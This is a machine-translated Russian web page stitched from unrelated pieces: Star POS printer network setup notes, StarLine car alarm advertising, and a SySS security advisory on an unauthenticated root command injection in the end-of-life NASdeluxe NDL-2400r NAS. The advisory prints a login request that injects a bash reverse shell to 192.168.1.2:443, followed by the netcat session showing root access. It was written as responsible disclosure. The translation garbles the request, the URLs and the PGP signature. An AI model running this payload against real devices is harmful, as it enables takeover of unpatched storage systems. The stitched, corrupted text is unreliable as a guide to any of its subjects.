Используйте принтеры Star POS с отключенным режимом # 9100 Multi Session. Настройку можно подтвердить с помощью тестовой печати, которую можно выполнить, удерживая кнопку подачи на принтере при включении принтера.

Обратитесь к «guide-ethernet_en.pdf», чтобы узнать, как подтвердить и изменить настройку # 9100 Multi Session и как установить статический IP-адрес.

Вы можете настроить свои POS-принтеры, которые могут подключаться к TCP / IP. Пожалуйста, используйте утилиту / драйвер.

TSP100IIIUtility и Star Setting Utility нельзя использовать с принтерами, которым не назначен IP-адрес (IP-адрес 0.0.0.0).

Это программное обеспечение использует порт связи TCP 9100, порт связи TCP 9100, порт связи UDP 2222.

1. Назначьте IP-адрес устройствам Star POS и подключите их к сети.

2. Нажмите «Настройки».

3. Убедитесь, что Wi-Fi включен.

4. Подключитесь к той же сети, что и устройство Star POS.

1.4.3. Интерфейс USB

Подключите принтер к устройству iOS с помощью кабеля Lightning.

Список используемых моделей см. В Таблице совместимости принтеров Star.

Сигнализация StarLine — Специалисты по безопасности автомобилей Vagtronics

МЫ ОЧЕНЬ ГОРДЫ, ЧТО БЫТЬ ПРЕМИУМ-ПАРТНЕРАМИ / ТОРГОВЛЯМИ STARLINE ДЛЯ САМЫХ ПЕРЕДОВЫХ СИСТЕМ БЕЗОПАСНОСТИ В МИРЕ.

СИСТЕМЫ СИГНАЛИЗАЦИИ STARLINE UK!

————————————————————————————–

Starline постоянно обновляет и модернизирует свои продукты, чтобы обеспечить надежную и современную защиту любого транспортного средства, особенно тех, которые подвергаются серьезным нападениям воров в Великобритании.Мы стремимся всегда быть на шаг впереди преступников — это то, на чем мы фокусируемся в нашей повседневной работе, и качество наших продуктов и опыт наших партнеров — людей, которые занимаются ими, — отражают эти усилия.

Экосистемы автомобильной безопасности Starline 6-го поколения — это результат обширных постоянных исследований в области автомобильных преступлений, более 30 лет опыта в этой области и неустанного стремления к совершенству со стороны наших инженеров — одних из самых востребованных экспертов в Европе. .Это некоторые из факторов, которые делают наши системы, возможно, самыми передовыми и инновационными решениями для защиты от угона транспортных средств, доступными сегодня на мировом рынке.

Ассортимент нашей продукции в Великобритании отражает потребности местных владельцев транспортных средств и разработан для эффективного противодействия всем известным методам и методам, которые в настоящее время используются преступниками в Великобритании, а также тем, которые, как ожидается, появятся в ближайшем будущем.

Наши системы безопасности транспортных средств 6-го поколения очень легко адаптируются, быстро реагируют и легко настраиваются.Благодаря интерфейсу 2CAN / 2LIN, присутствующему во всех наших текущих продуктах, они могут быть адаптированы практически к любому автомобилю, обеспечивая бесшовную интеграцию и минимальное вмешательство в исходную проводку; система будет работать так, как будто она встроена в автомобиль.

Все системы StarLine можно модернизировать с помощью дополнительных компонентов, поэтому, по сути, клиенты могут разработать свой собственный пакет безопасности транспортного средства с учетом своих индивидуальных предпочтений и факторов риска своего транспортного средства. Разумеется, партнеры, одобренные Starline, могут предложить любую помощь в выборе подходящего пакета.

———————-

Starline i96 CAN — интеллектуальная противоугонная система иммобилайзера

Bluetooth Smart Авторизация владельца с помощью беспроводных тегов и смартфона Встроенный интерфейс 3CAN обеспечивает невидимую цифровую блокировку двигателя и авторизацию с помощью штатных кнопок автомобиля

Дополнительная интеллектуальная аналоговая блокировка двигателя при обнаружении движения позволяет осуществлять удаленный запуск без отключения защиты

—————————–

i96 Can Immobilizer Видео

—————————–

————————-

StarLine S96 Видео

————————–

ХАРАКТЕРИСТИКИ СИСТЕМЫ СИГНАЛИЗАЦИИ STARLINE

УМНЫЙ ДИАЛОГ

Интеллектуальный диалоговый управляющий код с индивидуальными ключами шифрования гарантирует надежную защиту от всех известных программ-грабберов

ПОМЕХОУСТОЙЧИВОСТЬ К РАДИОШУМУ

Система StarLine эффективно работает в больших городах с экстремальными радиопомехами благодаря встроенному сигналу Bluetooth Smart

АВТОРИЗАЦИЯ BLUETOOTH SMART

Чтобы начать движение, владельцу необходимо пройти авторизацию с помощью небольшой водонепроницаемой беспроводной метки или смартфона с Bluetooth 4.2 версии и выше

СЕНСОР SMART 3D

Интеллектуальное 3D-управление с дистанционной настройкой регистрирует удары, подъем автомобиля, эвакуацию и оценивает безопасность стиля вождения

SUPER SLAVE

Контроль безопасности автомобиля с заводского пульта и надежная дополнительная авторизация с помощью пульта StarLine

РАЗРЕШЕНИЕ НА ПИН-КОД

Дополнительная авторизация обеспечивает надежную защиту от угона, усиливая охранные функции заводской автосигнализации.Поездка возможна только после ввода индивидуального ПИН-кода штатными кнопками автомобиля

НЕВИДИМАЯ БЛОКИРОВКА ДВИГАТЕЛЯ

Уникальная запатентованная технология iCAN гарантирует надежную защиту от скрытой блокировки двигателя через заводскую цифровую шину CAN или LIN

ДОПОЛНИТЕЛЬНАЯ БЛОКИРОВКА ДВИГАТЕЛЯ (опция)

Дополнительный беспроводной модуль реле R6 или цифровой R4 обеспечивает дополнительную безопасную блокировку двигателя и позволяет защитить моторный отсек с помощью дополнительных замков капота StarLine L11 +, StarLine L10

АНТИХИДЖЕК

StarLine защищает от кражи и угона с помощью безопасной блокировки двигателя в движении, если метка не обнаружена, или по команде владельца через интерфейс GSM

ЗАЩИТА БЕСКЛЮЧЕВОГО ДОСТУПА

Интеллектуальная защита StarLine блокирует несанкционированные попытки снять охрану завода с охраны и открыть автомобиль путем взлома оригинальной системы бесключевого доступа.

РЕКОРД ЭНЕРГОЭФФЕКТИВНОСТИ

StarLine гарантирует низкое энергопотребление, экономя достаточный заряд автомобильного аккумулятора до 60 дней в режиме охраны благодаря запатентованным прогрессивным технологиям и программным решениям

РАСШИРЕННЫЙ ДИАПАЗОН ТЕМПЕРАТУР

Благодаря высококачественным комплектующим охранно-телематические системы StarLine стабильно работают в тяжелых климатических условиях при температуре от −40 ° C до + 85 ° C

Программное обеспечение STARLINE 555 PLUS 1506tv SGC1 V9.10,27

  ----- НАЧАТЬ ПОДПИСАННОЕ СООБЩЕНИЕ PGP -----
Хеш: SHA512

Информационный идентификатор: SYSS-2016-065
Товар: NASdeluxe NDL-2400r
Производитель: Starline Computer GmbH
Затронутые версии: 2.01.10
Протестированная версия (и): 2.01.09
Тип уязвимости: внедрение команды ОС (CWE-78)
Уровень риска: высокий
Статус решения: нет исправлений (продукт достиг EOL за 3 года)
Уведомление от поставщика: 2016-07-04
Публичное раскрытие: 2016-08-03
Ссылка CVE: не назначена
Автор рекомендаций: Клаус Эйзентраут, SySS GmbH, https: // www.syss.de/advisories/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~

Обзор:

Продукт «NASdeluxe NDL-2400r» [3] уязвим для внедрения команд ОС.
как корень. Для использования этой уязвимости учетные данные не требуются.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~

Подробная информация об уязвимости / подтверждение концепции:

Параметр языка в запросе на вход в веб-интерфейс продукта.
NASdeluxe NDL-2400r уязвим для внедрения команд ОС от имени пользователя root.SySS GmbH отправила на веб-интерфейс следующий HTTPS-запрос:

~~~~~
POST /usr/usrgetform.html?name=index HTTP / 1.1
Хост: 192.168.1.1
Подключение: закрыть
Тип содержимого: application / x-www-form-urlencoded
Длина содержимого: 97

lang = || `bash + -i +>% 26 + / dev / tcp / 192.168.1.2 / 443 + 0>% 261` & username = & pwd = & site = web_disk & login_btn = Einloggen
~~~~~

После отправки запроса обратно подключился обратный шелл:

~~~~~
# nc -lvvp 443
Прослушивание по любому адресу 443 (https)
Подключение от 192.168.1.1: 49070
bash: в этой оболочке нет управления заданиями
bash-3.00 # whoami
корень
bash-3.00 # cat / img / version
2.01.09
~~~~~

Протестированная версия прошивки 2.01.09. Самая последняя версия
2.01.10 согласно веб-странице производителя [3]. Однако есть
в примечаниях к выпуску [4] нет намеков на обновление безопасности. Таким образом, SySS
GmbH предполагает, что эта уязвимость, вероятно, также присутствует в большинстве
текущая версия прошивки от 22.10.2009.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~

Решение:

Продукт достиг статуса истечения срока службы (EOL) с более чем трех
годы. Таким образом, производитель не предоставляет никаких исправлений.

Настоятельно рекомендуется перейти на одну из более новых и все еще
поддерживаемые решения NAS, которые (согласно Starline Computer GmbH)
не подвержены этой уязвимости.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~

График раскрытия информации:

2016-06-29: Обнаружена уязвимость
2016-07-04: спросил info @ starline.de для контактного лица (нет ответа)
2016-07-22: отправил это сообщение на [email protected]
2016-07-22: ответ от поставщика: не исправить (продукт достиг EOL> 3 лет)
2016-08-03: публичное раскрытие

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~

Рекомендации:

[1] SySS GmbH, SYSS-2016-065
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-065.txt
[2] SySS GmbH, Политика ответственного раскрытия информации SySS
    https: // www.syss.de/en/news/responsible-disclosure-policy/
[3] Домашняя страница NASdeluxe
    https://www.nasdeluxe.com/
[4] Примечания к выпуску микропрограммы NDL-2400R
    https://www.nasdeluxe.com/wp-content/uploads/2008/12/NDL-2400R_NDL-2500T_FWRN_v2_01_10.171.pdf

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~

Кредиты:

Эту уязвимость в системе безопасности обнаружил Клаус Эйзентраут из SySS.
GmbH.

Электронная почта: [email protected]
Открытый ключ: https: // www.syss.de/fileadmin/dokumente/PGPKeys/Klaus_Eisentraut.asc
Идентификатор ключа: 0xBAC677AE
Отпечаток ключа: F5E8 E8E1 A414 4886 0A8B 0411 DAB0 4DB5 BAC6 77AE

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~

Отказ от ответственности:

Информация, представленная в этом совете по безопасности, предоставляется «как есть».
и без каких-либо гарантий. Подробности этого совета по безопасности могут
быть обновленным, чтобы предоставлять как можно более точную информацию. В
последняя версия этого совета по безопасности доступна в SySS Web
сайт.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~

Авторские права:

Лицензия Creative Commons - Авторство (автор) - Версия 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

----- НАЧАТЬ ПОДПИСЬ PGP -----

iQIcBAEBCgAGBQJXoddNAAoJENqwTbW6xneuMdwQANnc0LC5n + 5 Гц / jd / C4y6Vo /
V4rTM2ZeKHoinwaNe8wDqwLojVi370xkroe592skBuGaHsACpqVU / + i1uzez4Fd5
zv9FL0O16qeU4ATt0tlTMzBka + 3l7 + W46JjIt30auKXvb2C7HXlwru58HvMRoDUr
5ga48 / C2tLAWeogR0hpflXg6xUmTTfZRL1zgEh5 / etz8vA0DgwXl7fRQZq7z2fDF
L4oSrQ2oumS + IWH8qAUo / Tvd8al / OSQC + QfLjwxhpwb3n8nRrUaa2gYLuKvSXn3R
Sc8nuR + YuO4c + kXcUO2HQ2mpmSRKITOGOgqDwxiSHitTpGwkJiwh3PwRP45BJxTe
g99ivjeRUKkXlAkNZ3u38OYzSmPcf455fwGANFaBjljJtd5Z + Je9mqL2jnUvB1O1
ERFuyhDr1VKLiM4BQp3 / hgqECHQRjiX7jUN0yHA3PWiM55wzHyftAti5K / XKSKTv
tFB19VoC + oJEA1i19uzv7xFscfiPHuRw0coGP2KSVwA2L3bIOLlMwWt / Ea / Qzcur
9JIUHX0 + kKxJcLb6hthasQ4lIf2Jhjd4aFR + rPcJLL29r7HGOSoQLErXz2QmcePJ
1jKC6O2N2vrmrIZ + JOvWP99v0bIqC / 857Xz5p30OUUjx2yLjpP / t5paidh2qlUMs
4mefqh51S76I3EZJpQn3
= V6E3
----- КОНЕЦ ПОДПИСЬ PGP -----